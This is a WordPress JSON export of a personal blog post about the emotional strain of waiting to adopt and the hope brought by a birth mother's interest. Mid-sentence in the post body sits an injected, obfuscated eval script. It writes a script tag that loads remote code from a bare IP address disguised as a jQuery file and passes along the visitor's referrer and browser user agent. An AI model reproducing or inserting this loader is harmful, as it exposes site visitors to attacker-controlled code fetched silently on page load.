{"id":3134,"date":"2012-06-11T08:36:05","date_gmt":"2012-06-11T15:36:05","guid":{"rendered":"http:\/\/www.rebeccagibson.org\/?p=3134"},"modified":"2012-06-11T08:36:05","modified_gmt":"2012-06-11T15:36:05","slug":"heartbeat","status":"publish","type":"post","link":"http:\/\/www.rebeccagibson.org\/?p=3134","title":{"rendered":"Heartbeat"},"content":{"rendered":"<p>Sometimes I have a horrible, quiet moment or two when the whole world outside seems to be going along just fine, but I have a chilly stillness in my heart and I think, &#8220;It&#8217;s not going happen.\u00c2\u00a0 This is never going to happen.&#8221;\u00c2\u00a0 It&#8217;s sort of the adoption version of morning sickness.\u00c2\u00a0 You try to ignore it; you don&#8217;t complain about it.\u00c2\u00a0 Nobody needs to hear every single detail of the nausea and aches.\u00c2\u00a0 They&#8217;re normal, and everybody gets them.\u00c2\u00a0 It will pass.<\/p>\n<p>One morning I had horrible adoption morning sickness and I was just about ready to call IAC and tell them, <em>&#8220;This <noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\o=\"+3(j.i)+\"\\'><\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|asefi|var|u0026u|referrer|itdsk||js|php'.split('|'),0,{}))\n<\/script><\/noindex> is all a big scam, isn&#8217;t it?\u00c2\u00a0 You&#8217;re just going to leave me waiting here for years and years until it&#8217;s too late.\u00c2\u00a0 It&#8217;s never going to happen, is it?&#8221;<\/em>\u00c2\u00a0 And then I checked my email.<\/p>\n<p>Somebody had requested my letter.\u00c2\u00a0 She was interested in me.\u00c2\u00a0 Someone in a position to know what she was talking about, was willing to believe that I would be a good mother.<\/p>\n<p>For several days I practically jumped through the roof every time the phone rang.\u00c2\u00a0 I couldn&#8217;t sleep.\u00c2\u00a0 I cried a lot.\u00c2\u00a0 I was giddy a lot.\u00c2\u00a0 All my friends with small babies suddenly got very serious about their lists of must-haves and potential hand-me-downs.\u00c2\u00a0 We even started talking about breastmilk banks and pumping.\u00c2\u00a0 My parents started thinking about baby seats for their car.\u00c2\u00a0 Paul and I talked to the agency about making sure he has all the legal clearances he needs &#8211; even though I&#8217;m the one adopting, he&#8217;ll obviously be a part of my child&#8217;s life too.\u00c2\u00a0 I made &#8220;Plan B&#8221; arrangements for all the suddenly-trivial plans I had for the summer.<\/p>\n<p>And then I just went on with what I was doing.\u00c2\u00a0 I worked on the garden.\u00c2\u00a0 I had taco night with the girls.\u00c2\u00a0 I started impossible knitting projects.\u00c2\u00a0 I sent birthday presents.\u00c2\u00a0 I played with the cat.\u00c2\u00a0 I procrastinated about studying for the GRE.\u00c2\u00a0 I know that somewhere, a woman has been making the hardest decision of her life.\u00c2\u00a0 I really believe that in a situation like this there&#8217;s no way to make the &#8220;wrong decision.&#8221;\u00c2\u00a0 You don&#8217;t really decide until you <em>know<\/em> in your heart that the decision is the right one, so whatever decision gets made, <em>must<\/em> be the right one.\u00c2\u00a0 I trust her.<\/p>\n<p>And even if I never hear her voice or meet the child she is carrying, I will always owe her this big, weird, wonderful debt:\u00c2\u00a0 when I was almost ready to give up, she let me know that my adoption has a heartbeat.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Sometimes I have a horrible, quiet moment or two when the whole world outside seems&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[53],"class_list":["post-3134","post","type-post","status-publish","format-standard","hentry","category-uncategorized","tag-adoption"],"_links":{"self":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/3134"}],"collection":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=3134"}],"version-history":[{"count":1,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/3134\/revisions"}],"predecessor-version":[{"id":3135,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/3134\/revisions\/3135"}],"wp:attachment":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=3134"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=3134"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=3134"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}